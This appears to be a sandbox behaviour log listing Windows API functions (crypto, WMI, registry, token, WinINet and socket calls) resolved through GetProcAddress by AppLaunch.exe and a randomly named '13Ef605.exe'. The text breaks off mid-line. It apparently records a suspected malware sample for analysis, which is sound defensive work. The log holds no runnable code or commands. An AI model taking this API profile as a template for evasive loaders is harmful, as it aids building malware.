"AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGetDefaultProviderW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterClass (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SetWindowLong (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowLong (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter _calloc_base (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSListHead (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GdiEntry13 (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSecurity (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter BlessIWbemServices (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter Get (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter Put (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter Delete (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNames (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter BeginEnumeration (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter Next (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter EndEnumeration (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetPropertyQualifierSet (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter Clone (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetObjectText (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SpawnDerivedClass (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SpawnInstance (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareTo (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetPropertyOrigin (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter InheritsFrom (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetMethod (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter PutMethod (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter DeleteMethod (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter BeginMethodEnumeration (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter NextMethod (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter EndMethodEnumeration (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetMethodQualifierSet (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetMethodOrigin (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_Get (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_Put (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_Delete (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_GetNames (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_BeginEnumeration (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_Next (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_EndEnumeration (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentApartmentType (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetDemultiplexedStub (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateInstanceEnumWmi (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateClassEnumWmi (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter ExecQueryWmi (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter ExecNotificationQueryWmi (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter PutInstanceWmi (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter PutClassWmi (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CloneEnumWbemClassObject (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter ConnectServerWmi (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetErrorInfo (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter Initialize (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemDefaultLocaleName (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter EtwRegisterTraceGuidsW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003964) "13Ef605.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002500) "13Ef605.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002500) "AppLaunch.exe" called "GetProcAddress" with a parameter StrRChrA (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAStringToAddressW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSPStartup (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHEnumProtocols (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetProviderGuid (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetBroadcastSockaddr (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter UrlCanonicalizeW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter StrCmpNW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter NSPStartup (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsQueryConfigAllocEx (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsNameCompare_W (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsApiAlloc (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsQueryExW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThreadCompartmentId (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsFree (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter NamespaceCallout (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter InternetOpenW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter InternetConnectA (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter InternetCloseHandle (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter HttpOpenRequestW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter HttpSendRequestA (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter InternetReadFile (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter Dhcpv6QueryLeaseInfo (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertInterfaceNameToLuidW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter Dhcpv6FreeLeaseInfo (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpIsEnabled (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpFreeLeaseInfo (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter NdrOleInitializeExtension (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00003052) "AppLaunch.exe" called "GetProcAddress" with a parameter 